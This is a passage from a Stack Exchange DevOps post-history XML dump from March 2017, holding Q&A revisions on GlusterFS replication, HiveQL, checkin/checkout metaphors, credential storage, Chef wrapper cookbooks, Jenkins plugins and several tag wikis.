https://wiki.jenkins-ci.org/display/JENKINS/Securing+Jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="505" PostHistoryTypeId="2" PostId="187" RevisionGUID="c9c180b6-692f-4601-9410-1c0bc3bfeb55" CreationDate="2017-03-01T16:25:39.503" UserId="57" Text="Usually you have at least two replicas of data between the nodes of GlusteFS cluster. &#xD;&#xA;&#xD;&#xA;If you need details about handover between the nodes (in case of one node fail) you can check [this][1] answer in Unix and Linux SE site&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/213705/glusterfs-how-to-failover-smartly-if-a-mounted-server-is-failed" ContentLicense="CC BY-SA 3.0" />
  <row Id="506" PostHistoryTypeId="5" PostId="186" RevisionGUID="238348c7-53ae-4860-bb26-347c59a4dc54" CreationDate="2017-03-01T16:39:19.017" UserId="3" Comment="Corrected typo in the question." Text="The [Wikipedia page for HiveQL](https://en.wikipedia.org/wiki/Apache_Hive#HiveQL) provides a brief summary of the differences:&#xD;&#xA;&#xD;&#xA;&gt; While based on SQL, HiveQL does not strictly follow the full SQL-92 standard. HiveQL offers extensions not in SQL, including multitable inserts and create table as select, but only offers basic support for indexes. Also, HiveQL lacks support for transactions and materialized views, and only limited subquery support. Support for insert, update, and delete with full ACID functionality was made available with release 0.14.&#xD;&#xA;&#xD;&#xA;&gt; Internally, a compiler translates HiveQL statements into a directed acyclic graph of MapReduce, Tez, or Spark jobs, which are submitted to Hadoop for execution.&#xD;&#xA;&#xD;&#xA;One of the biggest limitations is with transactions, [as documented in their wiki](https://cwiki.apache.org/confluence/display/Hive/Hive+Transactions#HiveTransactions-Limitations) - it appears that [ACID semantics](https://en.wikipedia.org/wiki/ACID) have been added recently, so the support is not quite as mature as it would be in a typical RDBMS like MySQL.&#xD;&#xA;&#xD;&#xA;Hortonworks have also published a [cheat sheet for converting SQL to HiveQL](http://hortonworks.com/wp-content/uploads/2016/05/Hortonworks.CheatSheet.SQLtoHive.pdf) - it looks pretty useful for determining the differences between Hive and a normal RDBMS, although it does appear to be slightly outdated (it talks about v0.10 and v0.11, when the latest release as of March 2017 is 2.1.1).&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="507" PostHistoryTypeId="24" PostId="186" RevisionGUID="238348c7-53ae-4860-bb26-347c59a4dc54" CreationDate="2017-03-01T16:39:19.017" Comment="Proposed by 3 approved by 14 edit id of 45" ContentLicense="CC BY-SA 3.0" />
  <row Id="510" PostHistoryTypeId="2" PostId="188" RevisionGUID="23d5ba85-de3f-438f-bc74-a93419f2c843" CreationDate="2017-03-01T18:05:03.893" UserId="40" Text="When teaching SCM classes to students that are new to Software Configuration Management, it happens that a question comes up like &quot;**`What's the difference between checkin and checkout?`**&quot;.&#xD;&#xA;&#xD;&#xA;And a variation of it is that such students get confused about these SCM concepts (they understand them as the other way around).&#xD;&#xA;&#xD;&#xA;So what kind of metaphor can you use to explain this crucial SCM concept to such audience?" ContentLicense="CC BY-SA 3.0" />
  <row Id="511" PostHistoryTypeId="1" PostId="188" RevisionGUID="23d5ba85-de3f-438f-bc74-a93419f2c843" CreationDate="2017-03-01T18:05:03.893" UserId="40" Text="What's the difference between checkin and checkout?" ContentLicense="CC BY-SA 3.0" />
  <row Id="512" PostHistoryTypeId="3" PostId="188" RevisionGUID="23d5ba85-de3f-438f-bc74-a93419f2c843" CreationDate="2017-03-01T18:05:03.893" UserId="40" Text="&lt;terminology&gt;&lt;scm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="513" PostHistoryTypeId="2" PostId="189" RevisionGUID="07ca24ed-a54e-4698-b87a-b94a110f0fcc" CreationDate="2017-03-01T18:05:03.893" UserId="40" Text="To explain something to anybody, try to compare it to something they are (hopefully) familiar with already.&#xD;&#xA;&#xD;&#xA;So that's why I just answer such question like so:&#xD;&#xA;&#xD;&#xA;&gt; Think of it as arriving at a place to stay (a hotel, a resort, etc):&#xD;&#xA;&#xD;&#xA;&gt; - the very *first* thing you do (when you arrive) is to **`checkin`**.&#xD;&#xA;&gt; - the very *last* thing you do (when you leave) is to **`checkout`**.&#xD;&#xA;&#xD;&#xA;&gt; A similar SCM concept applies when you want to apply changes to software components ...  except that ***it applies the other way around***:&#xD;&#xA;&#xD;&#xA;&gt; - the very *first* thing you do (when you start) is to **`checkout`** (or think of it like borrowing it).&#xD;&#xA;&gt; - the very *last* thing you do (when you finish) is to **`checkin`** (or think of it like giving it back).&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="514" PostHistoryTypeId="2" PostId="190" RevisionGUID="43469c2b-8005-48e1-8c5f-117fa631e964" CreationDate="2017-03-01T18:11:39.347" UserId="72" Text="It's important to note that the terms &quot;checkin&quot; and &quot;checkout&quot; have different meanings depending on the type of SCM system.  &#xD;&#xA;&#xD;&#xA;Centralized systems like TFVC, Subversion, and Clearcase use &quot;exclusive&quot; checkouts.  This is like Pierre's book borrowing metaphor, where only one user can have a file checked out at one time.&#xD;&#xA;&#xD;&#xA;Distributed systems like git have a &quot;checkout&quot; command, but it means something completely different. `git checkout` is used to switch between branches when working with a local repository." ContentLicense="CC BY-SA 3.0" />
  <row Id="515" PostHistoryTypeId="5" PostId="189" RevisionGUID="7bbc8f2e-0dd0-49b6-ba1a-0fda82a349e3" CreationDate="2017-03-01T18:21:29.713" UserId="40" Comment="added 285 characters in body" Text="To explain something to anybody, try to compare it to something they are (hopefully) familiar with already.&#xD;&#xA;&#xD;&#xA;So that's why I just answer such question like so:&#xD;&#xA;&#xD;&#xA;&gt; Think of it as arriving at a place to stay (a hotel, a resort, etc):&#xD;&#xA;&#xD;&#xA;&gt; - the very *first* thing you do (when you arrive) is to **`checkin`**.&#xD;&#xA;&gt; - the very *last* thing you do (when you leave) is to **`checkout`**.&#xD;&#xA;&#xD;&#xA;&gt; A similar SCM concept applies when you want to apply changes to software components ...  except that ***it applies the other way around***:&#xD;&#xA;&#xD;&#xA;&gt; - the very *first* thing you do (when you start) is to **`checkout`** (or think of it like borrowing it).&#xD;&#xA;&gt; - the very *last* thing you do (when you finish) is to **`checkin`** (or think of it like giving it back).&#xD;&#xA;&#xD;&#xA;**Note**: this applies to centralized systems (such as the ones used in mainframe environments ...). In systems such as [tag:git] the &quot;*`checkout`*&quot; concept has a completely different meaning (which IMO is also why in those systems there is hardly any confusion about both concepts)." ContentLicense="CC BY-SA 3.0" />
  <row Id="516" PostHistoryTypeId="2" PostId="191" RevisionGUID="86bc37d7-3acb-4e9f-b36f-c8f0c32d76fb" CreationDate="2017-03-01T18:28:24.257" UserId="348" Text="For centralized systems, think of it like a technical library. (might be a stretch of the imagination how this hypothetical library functions...)&#xD;&#xA;&#xD;&#xA;If you are an author of a document, you might `checkout` the library copy, make changes, return it `check it back in` to the library for the world to see.&#xD;&#xA;&#xD;&#xA;This can become an issue if the library has digital copies, and I `checkout` a document, someone else also `checks out` a document, we both make changes, there will be a conflict (merge conflict) that might be difficult to resolve.  When then the initial &quot;fix&quot; for this is exclusive `checkout` functionality...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Of course for large projects the chances of a critical merge conflict issue is reduced (people will be working on different parts of the system) so `checkout`/`checkin` is not needed nearly as much.  And since distributed systems by design somewhat require good merge functionality, along with many other benefits, that concept doesn't really exist in git and other DVCS" ContentLicense="CC BY-SA 3.0" />
  <row Id="517" PostHistoryTypeId="10" PostId="4" RevisionGUID="af31f218-0413-40e9-a532-40b6772cb403" CreationDate="2017-03-01T19:26:07.753" UserId="-1" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:132,&quot;DisplayName&quot;:&quot;Woodland Hunter&quot;},{&quot;Id&quot;:57,&quot;DisplayName&quot;:&quot;Romeo Ninov&quot;},{&quot;Id&quot;:299,&quot;DisplayName&quot;:&quot;JonMark Perry&quot;},{&quot;Id&quot;:15,&quot;DisplayName&quot;:&quot;Gepser&quot;},{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;kenorb&quot;}]}" />
  <row Id="518" PostHistoryTypeId="5" PostId="36" RevisionGUID="8942be73-d12a-4d2b-b704-7b9fdbaacf46" CreationDate="2017-03-01T19:26:38.110" UserId="40" Comment="added 204 characters in body" Text="Use this tag for questions about Git, a free and open source distributed version control system, related to using Git for topics such as continuous delivery, monitoring, building SDLC infrastructure, etc." ContentLicense="CC BY-SA 3.0" />
  <row Id="519" PostHistoryTypeId="24" PostId="36" RevisionGUID="8942be73-d12a-4d2b-b704-7b9fdbaacf46" CreationDate="2017-03-01T19:26:38.110" Comment="Proposed by 40 approved by 26 edit id of 47" ContentLicense="CC BY-SA 3.0" />
  <row Id="520" PostHistoryTypeId="5" PostId="35" RevisionGUID="17b391a2-c195-4d0f-8c6f-74422809ca0c" CreationDate="2017-03-01T19:26:58.337" UserId="40" Comment="added 2 characters in body" Text="atGit is an open source distributed version control system.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;### Resources&#xD;&#xA;&#xD;&#xA;- [Homepage][2].&#xD;&#xA;- [Pro Git book][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/GEGy5.png&#xD;&#xA;  [2]: http://git-scm.com/&#xD;&#xA;  [3]: https://git-scm.com/book" ContentLicense="CC BY-SA 3.0" />
  <row Id="521" PostHistoryTypeId="24" PostId="35" RevisionGUID="17b391a2-c195-4d0f-8c6f-74422809ca0c" CreationDate="2017-03-01T19:26:58.337" Comment="Proposed by 40 approved by 26 edit id of 46" ContentLicense="CC BY-SA 3.0" />
  <row Id="522" PostHistoryTypeId="5" PostId="118" RevisionGUID="cc9bbd7a-dfd7-477e-b7bc-15eb2178c0cb" CreationDate="2017-03-01T19:28:06.233" UserId="47" Comment="added 674 characters in body" Text="From the [Ansible Documentation][1]:&#xD;&#xA;&#xD;&#xA;&gt; Ansible is an IT automation tool. It can configure systems, deploy&#xD;&#xA;&gt; software, and orchestrate more advanced IT tasks such as continuous&#xD;&#xA;&gt; deployments or zero downtime rolling updates.&#xD;&#xA;&#xD;&#xA;From [Ansible on GitHub][2]:&#xD;&#xA;&#xD;&#xA;&gt; Ansible is a radically simple IT automation platform that makes your&#xD;&#xA;&gt; applications and systems easier to deploy. Avoid writing scripts or&#xD;&#xA;&gt; custom code to deploy and update your applications— automate in a&#xD;&#xA;&gt; language that approaches plain English, using SSH, with no agents to&#xD;&#xA;&gt; install on remote systems.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/index.html&#xD;&#xA;  [2]: https://github.com/ansible/ansible" ContentLicense="CC BY-SA 3.0" />
  <row Id="523" PostHistoryTypeId="24" PostId="118" RevisionGUID="cc9bbd7a-dfd7-477e-b7bc-15eb2178c0cb" CreationDate="2017-03-01T19:28:06.233" Comment="Proposed by 47 approved by 26 edit id of 23" ContentLicense="CC BY-SA 3.0" />
  <row Id="524" PostHistoryTypeId="5" PostId="131" RevisionGUID="5f22d2d8-2377-44b8-9c1a-5c303e29a418" CreationDate="2017-03-01T19:28:12.350" UserId="3" Comment="Adds link." Text="For large organisations with typical 4 weeks sprint cycle [Git-Flow][1] is preferred approach because&#xD;&#xA;You get benefit of Feature branch&#xD;&#xA;Master production ready branch is always deployable&#xD;&#xA;Also, master branch is kept clean from unwanted commits by following two commit cycle (from feature to `Develop` and `Develop` branch to Master).&#xD;&#xA;&#xD;&#xA;Moreover, branching is also determined by frequency of production releases. For frequent deployment to production its better to have a Feature branch or Centralized model. In this case overhead of managing branches is shifted to robust testing in lower environments to maintain production stability. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://nvie.com/posts/a-successful-git-branching-model/" ContentLicense="CC BY-SA 3.0" />
  <row Id="525" PostHistoryTypeId="24" PostId="131" RevisionGUID="5f22d2d8-2377-44b8-9c1a-5c303e29a418" CreationDate="2017-03-01T19:28:12.350" Comment="Proposed by 3 approved by 6, 26 edit id of 38" ContentLicense="CC BY-SA 3.0" />
  <row Id="526" PostHistoryTypeId="5" PostId="170" RevisionGUID="6d3e152c-fa40-4637-a75a-2e80582429bf" CreationDate="2017-03-01T19:29:06.590" UserId="13" Comment="added 63 characters in body" Text="For question on usage of the configuration management tool Chef" ContentLicense="CC BY-SA 3.0" />
  <row Id="527" PostHistoryTypeId="24" PostId="170" RevisionGUID="6d3e152c-fa40-4637-a75a-2e80582429bf" CreationDate="2017-03-01T19:29:06.590" Comment="Proposed by 13 approved by 26 edit id of 42" ContentLicense="CC BY-SA 3.0" />
  <row Id="528" PostHistoryTypeId="5" PostId="154" RevisionGUID="a1c1f750-8650-464a-8382-d56187684e87" CreationDate="2017-03-01T19:29:09.347" UserId="294" Comment="added 575 characters in body" Text="[GitHub][1] is a web-based Git or version control repository and internet hosting service. It offers all of the distributed version control and source code management functionality of Git as well as adding its own features. It provides access control and several collaboration features such as bug tracking, feature requests, task management, and wikis for every project.&#xD;&#xA;&#xD;&#xA;**Resources**&#xD;&#xA;&#xD;&#xA; - [GitHub help][2]&#xD;&#xA; - [Stack Overflow documentation][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/&#xD;&#xA;  [2]: https://help.github.com/&#xD;&#xA;  [3]: http://stackoverflow.com/documentation/github/topics" ContentLicense="CC BY-SA 3.0" />
  <row Id="529" PostHistoryTypeId="24" PostId="154" RevisionGUID="a1c1f750-8650-464a-8382-d56187684e87" CreationDate="2017-03-01T19:29:09.347" Comment="Proposed by 294 approved by 26 edit id of 31" ContentLicense="CC BY-SA 3.0" />
  <row Id="530" PostHistoryTypeId="5" PostId="158" RevisionGUID="88d489d2-7ea4-4b22-a43d-46defdd95c7b" CreationDate="2017-03-01T19:29:17.697" UserId="3" Comment="Improves post formatting." Text="Most of the SDKs mentioned support constructing a custom endpoint, for example as described [here for Node.JS][1].&#xD;&#xA;&#xD;&#xA;Setting it using [Google API][2] and using your GCP access credentials should enable you to operate the Google storage backend service &quot;like S3&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AWSJavaScriptSDK/latest/AWS/Endpoint.html&#xD;&#xA;  [2]: https://storage.googleapis.com" ContentLicense="CC BY-SA 3.0" />
  <row Id="531" PostHistoryTypeId="24" PostId="158" RevisionGUID="88d489d2-7ea4-4b22-a43d-46defdd95c7b" CreationDate="2017-03-01T19:29:17.697" Comment="Proposed by 3 approved by 26 edit id of 36" ContentLicense="CC BY-SA 3.0" />
  <row Id="532" PostHistoryTypeId="5" PostId="169" RevisionGUID="6a2c49a2-cb9a-4938-ab77-92c063c30746" CreationDate="2017-03-01T19:29:25.347" UserId="13" Comment="added 539 characters in body" Text="Questions about Chef on Devops should be about methods using Chef.&#xD;&#xA;&#xD;&#xA;For assistance on recipe code not working, please post on [Stack Overflow](http://stackoverflow.com/questions/tagged/chef) under [tag:chef] tag. Don't forget to include a Minimal verifiable example and your error log.&#xD;&#xA;&#xD;&#xA;Before asking, take the tutotials on https://learn.chef.io, all basis are explained.&#xD;&#xA;&#xD;&#xA;For open ended/opinion question prefer other medium like:&#xD;&#xA;&#xD;&#xA; - Chef's Mailing list/forum https://discourse.chef.io/ &#xD;&#xA; - Slack http://community-slack.chef.io/ " ContentLicense="CC BY-SA 3.0" />
  <row Id="533" PostHistoryTypeId="24" PostId="169" RevisionGUID="6a2c49a2-cb9a-4938-ab77-92c063c30746" CreationDate="2017-03-01T19:29:25.347" Comment="Proposed by 13 approved by 26 edit id of 41" ContentLicense="CC BY-SA 3.0" />
  <row Id="534" PostHistoryTypeId="5" PostId="151" RevisionGUID="9c07f7c8-dd00-4628-a20f-05d287d517b1" CreationDate="2017-03-01T19:29:40.620" UserId="294" Comment="added 698 characters in body" Text="[Docker][1] is an open-source project that automates the deployment of applications inside software containers.&#xD;&#xA;&#xD;&#xA;Docker containers wrap up a piece of software in a complete filesystem that contains everything it needs to run: code, runtime, system tools, system libraries – anything you can install on a server. This guarantees that it will always run the same, regardless of the environment it is running in.&#xD;&#xA;&#xD;&#xA;**Resources**&#xD;&#xA;&#xD;&#xA; - [What is Docker?][2]&#xD;&#xA; - [Official documentation][3]&#xD;&#xA; - [Stack Overflow documentation][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.docker.com/&#xD;&#xA;  [2]: https://www.docker.com/what-docker&#xD;&#xA;  [3]: https://docs.docker.com/&#xD;&#xA;  [4]: http://stackoverflow.com/documentation/docker/topics" ContentLicense="CC BY-SA 3.0" />
  <row Id="535" PostHistoryTypeId="24" PostId="151" RevisionGUID="9c07f7c8-dd00-4628-a20f-05d287d517b1" CreationDate="2017-03-01T19:29:40.620" Comment="Proposed by 294 approved by 26 edit id of 29" ContentLicense="CC BY-SA 3.0" />
  <row Id="536" PostHistoryTypeId="4" PostId="98" RevisionGUID="9b5e4b1f-3be0-4d1a-94ef-ac93b87aeef7" CreationDate="2017-03-01T19:29:45.527" UserId="3" Comment="Rephrasing, as asking for tools is off-topic." Text="How to test provisioning and configuration in Ansible setup?" ContentLicense="CC BY-SA 3.0" />
  <row Id="537" PostHistoryTypeId="24" PostId="98" RevisionGUID="9b5e4b1f-3be0-4d1a-94ef-ac93b87aeef7" CreationDate="2017-03-01T19:29:45.527" Comment="Proposed by 3 approved by 6, 26 edit id of 33" ContentLicense="CC BY-SA 3.0" />
  <row Id="538" PostHistoryTypeId="5" PostId="29" RevisionGUID="bc185dd7-e67c-403d-bc5e-be62157edcba" CreationDate="2017-03-01T19:30:10.443" UserId="40" Comment="Add quote from the linked page (to make it look less like a link only answer)." Text="Have a look at the [Summary Display plugin][1]. Some more details about it (= quote from the linked page):&#xD;&#xA;&#xD;&#xA;&gt; ... allows an easy and fully customized build report display.&#xD;&#xA;&#xD;&#xA;&gt; Features&#xD;&#xA;&#xD;&#xA;&gt; - Allow a rich summary report visible from both project and build page&#xD;&#xA;&gt; - Reports must be written in an XML format according to the syntax described in section Syntax Description&#xD;&#xA;&gt; - This plugin allow the parsing of several XML files&#xD;&#xA;&gt; - Reports displayed are ordered according to the XML file names&#xD;&#xA;&gt; - Element displayed are based on&#xD;&#xA;&#xD;&#xA;In general, the answer to such questions is usually found by searching the endless [Jenkins plugin index][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Summary+Display+Plugin&#xD;&#xA;  [2]: https://plugins.jenkins.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="539" PostHistoryTypeId="24" PostId="29" RevisionGUID="bc185dd7-e67c-403d-bc5e-be62157edcba" CreationDate="2017-03-01T19:30:10.443" Comment="Proposed by 40 approved by 6, 26 edit id of 35" ContentLicense="CC BY-SA 3.0" />
  <row Id="541" PostHistoryTypeId="5" PostId="157" RevisionGUID="e9fb56da-927c-41ae-9b92-aaee763e7efd" CreationDate="2017-03-01T19:47:12.707" UserId="3" Comment="Clarifies." Text="A system administrator and devops person both dealing with server configuration and reliable operation of computer systems, so it could be confusing. What are the main differences between these two roles? How to distinguish them?&#xD;&#xA;&#xD;&#xA;To clarify, I'm not asking about difference between SRE (Site Reliability Engineering), but sysadmin and DevOps person." ContentLicense="CC BY-SA 3.0" />
  <row Id="542" PostHistoryTypeId="10" PostId="157" RevisionGUID="33c7eb61-d848-4bd2-84b1-64ec6335af92" CreationDate="2017-03-01T19:52:52.627" UserId="-1" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:132,&quot;DisplayName&quot;:&quot;Woodland Hunter&quot;},{&quot;Id&quot;:299,&quot;DisplayName&quot;:&quot;JonMark Perry&quot;},{&quot;Id&quot;:57,&quot;DisplayName&quot;:&quot;Romeo Ninov&quot;},{&quot;Id&quot;:15,&quot;DisplayName&quot;:&quot;Gepser&quot;},{&quot;Id&quot;:366,&quot;DisplayName&quot;:&quot;NoOneIsHere&quot;}]}" />
  <row Id="543" PostHistoryTypeId="2" PostId="192" RevisionGUID="3b03f172-6248-44e9-b63a-3690d0058d93" CreationDate="2017-03-01T19:54:48.860" UserId="6" Text="Everyone is saying that storing credentials in version control (git) is a bad thing. But my application must have credentials to use other services, and these are stored in configuration files. Manually entering each server to create that file is out of the question.&#xD;&#xA;&#xD;&#xA;Why should I not be using the deployment process to copy credentials from our version control directly, together with the application code? (Node.js app, EC2 servers)" ContentLicense="CC BY-SA 3.0" />
  <row Id="544" PostHistoryTypeId="1" PostId="192" RevisionGUID="3b03f172-6248-44e9-b63a-3690d0058d93" CreationDate="2017-03-01T19:54:48.860" UserId="6" Text="How should I store credentials my application needs?" ContentLicense="CC BY-SA 3.0" />
  <row Id="545" PostHistoryTypeId="3" PostId="192" RevisionGUID="3b03f172-6248-44e9-b63a-3690d0058d93" CreationDate="2017-03-01T19:54:48.860" UserId="6" Text="&lt;deployment&gt;&lt;security&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="546" PostHistoryTypeId="2" PostId="193" RevisionGUID="06b04b12-d889-4a61-becf-fa6e867c448e" CreationDate="2017-03-01T20:30:00.513" UserId="154" Text="For a purely EC2-based environment, the easiest solution is to use AWS IAM roles and S3 bucket policies. Some formulations of this pattern also include KMS for encryption and DynamoDB instead of S3 for storage but I've not found a hugely compelling reason to use either. Check out https://github.com/poise/citadel, it is specifically aimed at Chef users but the underlying pattern works for anything, you just might have to make your own helper for doing the actual download from S3." ContentLicense="CC BY-SA 3.0" />
  <row Id="547" PostHistoryTypeId="10" PostId="192" RevisionGUID="ef4ac859-af32-4d9a-bfaf-e28e001d1b6e" CreationDate="2017-03-01T21:16:57.670" UserId="-1" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:154,&quot;DisplayName&quot;:&quot;coderanger&quot;},{&quot;Id&quot;:15,&quot;DisplayName&quot;:&quot;Gepser&quot;},{&quot;Id&quot;:246,&quot;DisplayName&quot;:&quot;Alexandre&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:201,&quot;DisplayName&quot;:&quot;Peter G&quot;}]}" />
  <row Id="548" PostHistoryTypeId="2" PostId="194" RevisionGUID="025b4082-6143-4b8c-b05a-e1f011281d76" CreationDate="2017-03-01T22:03:28.920" UserId="201" Text="Gluster has built in data &quot;translators&quot; that automatically replicate data across all of your bricks. The particular type of translator you're interested in is called AFR for automatic file replication. The AFR translator also uses the DHT (distributed hash table) translator. It's important that you have at least two master bricks since if you only have one, you have a single point of failure. As long as you have at least two bricks, an auto-healing process is triggered by GlusterFS's daemon (it's automatically installed when you invoke `gluster` the first time) using the other master server's replicated/translated data if anything goes wrong. Actual disaster recovery that the auto healing can't fix requires going through a [careful process documented here.][1]&#xD;&#xA;&#xD;&#xA;Other wisdom on the topic (for example, [Redhat's documentation][2]) recommends having at least six bricks in two sets, actually. This way, &quot;even if we lose two bricks from each set, there is no data loss&quot;. Basically, the more bricks you have, the more redundancy you have, and the less chance of data loss you have (however, it'll become cost-prohibitive and time-prohibitive after a while).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.gluster.org/author/awfrazer/&#xD;&#xA;  [2]: https://access.redhat.com/documentation/en-US/Red_Hat_Storage/3.1/html/Administration_Guide/chap-Recommended-Configuration_Dispersed.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="549" PostHistoryTypeId="2" PostId="195" RevisionGUID="9a82570d-fea9-4faf-ab02-f7d11076b8eb" CreationDate="2017-03-02T00:12:39.970" UserId="6" Text="With 3200+ cookbooks available in Chef supermarket, often there is already a cookbook that covers the need I need to solve.&#xD;&#xA;&#xD;&#xA;Almost every time there is some change required to a template, or a variable, or a resource in an existing cookbook.&#xD;&#xA;&#xD;&#xA;What are the steps to override and/or improve existing cookbooks? Without forking their code, and retaining the ability to get version updates in the future." ContentLicense="CC BY-SA 3.0" />
  <row Id="550" PostHistoryTypeId="1" PostId="195" RevisionGUID="9a82570d-fea9-4faf-ab02-f7d11076b8eb" CreationDate="2017-03-02T00:12:39.970" UserId="6" Text="What are the steps to inherit and override some parts of a Chef cookbook?" ContentLicense="CC BY-SA 3.0" />
  <row Id="551" PostHistoryTypeId="3" PostId="195" RevisionGUID="9a82570d-fea9-4faf-ab02-f7d11076b8eb" CreationDate="2017-03-02T00:12:39.970" UserId="6" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="552" PostHistoryTypeId="2" PostId="196" RevisionGUID="393fea4a-938e-4f55-b3ff-b5df9c5a8493" CreationDate="2017-03-02T00:31:53.273" UserId="6" Text="Let us define a constraint as anything that prevents the system from achieving its goal and then look at the goal of DevOps in an organization.&#xD;&#xA;&#xD;&#xA;A good definition is &quot;DevOps enables a fast flow of features from development to IT operations to the customers.&quot; Improving DevOps can be achieved by removing impediments to flow.&#xD;&#xA;&#xD;&#xA;First, we must find these constraints in the flow. And maybe there are multiple obstacles, how can we decide on which one to remove first?&#xD;&#xA;&#xD;&#xA;A famous quote from Dr. Eliyahu M. Goldratt is&#xD;&#xA;&#xD;&#xA;&gt; Any improvement not made at the constraint is an illusion&#xD;&#xA;&#xD;&#xA;This constraint, once found, is an important focusing mechanism for management of the system. So, how can you identify the constraint in an IT organization? And what to change about it to get the benefit of better flow?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="553" PostHistoryTypeId="1" PostId="196" RevisionGUID="393fea4a-938e-4f55-b3ff-b5df9c5a8493" CreationDate="2017-03-02T00:31:53.273" UserId="6" Text="How to find the constraint in a software development shop?" ContentLicense="CC BY-SA 3.0" />
  <row Id="554" PostHistoryTypeId="3" PostId="196" RevisionGUID="393fea4a-938e-4f55-b3ff-b5df9c5a8493" CreationDate="2017-03-02T00:31:53.273" UserId="6" Text="&lt;terminology&gt;&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="555" PostHistoryTypeId="2" PostId="197" RevisionGUID="aeaeab34-1758-4b7d-b15b-e0aff9186955" CreationDate="2017-03-02T01:50:55.253" UserId="201" Text="[This section][1] of the official [Jenkins Plugin Tutorial][2] will probably be of use.&#xD;&#xA;&#xD;&#xA;According to the writers of that documentation, you need to copy your .hpi file to `$JENKINS_HOME/plugins`, remove the plugin's development directory, and finally create an empty file called &lt;plugin&gt;.hpi.pinned for maven to use. Then you should be ready to restart Jenkins and use your custom build of a core plugin.&#xD;&#xA;&#xD;&#xA;They also suggest running `mvn clean` when you're ready to update Jenkins to remove old files (after changing core plugins, old .jar files might still be around after updating).&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Plugin+tutorial#Plugintutorial-Deployingacustombuildofacoreplugin&#xD;&#xA;  [2]: https://wiki.jenkins-ci.org/display/JENKINS/Plugin+tutorial" ContentLicense="CC BY-SA 3.0" />
  <row Id="556" PostHistoryTypeId="2" PostId="198" RevisionGUID="9293dc68-2acd-4a18-a488-1f5f2d477310" CreationDate="2017-03-02T01:50:59.160" UserId="154" Text="There are a lot of specifics but the overall pattern we use is &quot;wrap and extend&quot;. The general idea is to make a cookbook that depends on the community cookbook, usually named `mycompany_originalthing`, and then make recipes in that which call `include_recipe 'originalthing::whatever'` but with either more stuff added before/after or with calls to things like `edit_resource` to change resources. Avoid `edit_resource` when possible since it leads to brittle code, but it is there if you need it. You can also use wrapper cookbooks to set attributes, subclass or wrap custom resources, and so on.&#xD;&#xA;&#xD;&#xA;For the specific case of &quot;I need to tweak a template in a community recipe&quot; it would look like this:&#xD;&#xA;&#xD;&#xA;    include_recipe 'original::whatever'&#xD;&#xA;    &#xD;&#xA;    edit_resource!(:template, '/path/to/something') do&#xD;&#xA;      source 'mytemplate.erb'&#xD;&#xA;      cookbook 'mycompany_original'&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;You can find more details about `edit_resource` and friends at https://coderanger.net/rewind/&#xD;&#xA;&#xD;&#xA;With cookbooks based around custom resources instead of recipes, things can get more complex but the specifics depend a lot on the how exactly the cookbook you are extending is written." ContentLicense="CC BY-SA 3.0" />
  <row Id="557" PostHistoryTypeId="2" PostId="199" RevisionGUID="44767581-86b5-468e-8e09-d83ad2882ddc" CreationDate="2017-03-02T02:15:41.880" UserId="154" Text="Unfortunately there is no one answer here. If you ask each member of your team, they will probably all have different answers. Instead of trying to a root cause analysis on something as generalized as &quot;culture&quot;, try looking at return-on-investment instead. A fix to something near a bottleneck will usually have a better RoI than one further from the bottleneck, but if the further one will take 5 minutes and get you 90% of the benefit then who cares, do the needful." ContentLicense="CC BY-SA 3.0" />
  <row Id="558" PostHistoryTypeId="2" PostId="200" RevisionGUID="560b1a65-fb03-472e-bf27-af2015fcba9a" CreationDate="2017-03-02T03:04:40.473" UserId="383" Text="From what I can tell you can definitely customize the columns for a custom view (I can't find where to change it for the &quot;All&quot; view, but it's probably possible).  Unfortunately it doesn't look trivial to add a custom column without writing a plugin, for example the jacoco plugin:&#xD;&#xA;&#xD;&#xA;https://github.com/jenkinsci/jacoco-plugin/blob/master/src/main/java/hudson/plugins/jacococoveragecolumn/JaCoCoColumn.java&#xD;&#xA;&#xD;&#xA;Jenkins Java Doc:&#xD;&#xA;&#xD;&#xA;http://javadoc.jenkins.io/hudson/views/ListViewColumn.html&#xD;&#xA;&#xD;&#xA;Edit: This plugin might get you closer to what you're looking for:&#xD;&#xA;&#xD;&#xA;https://wiki.jenkins-ci.org/display/JENKINS/Extra+Columns+Plugin" ContentLicense="CC BY-SA 3.0" />
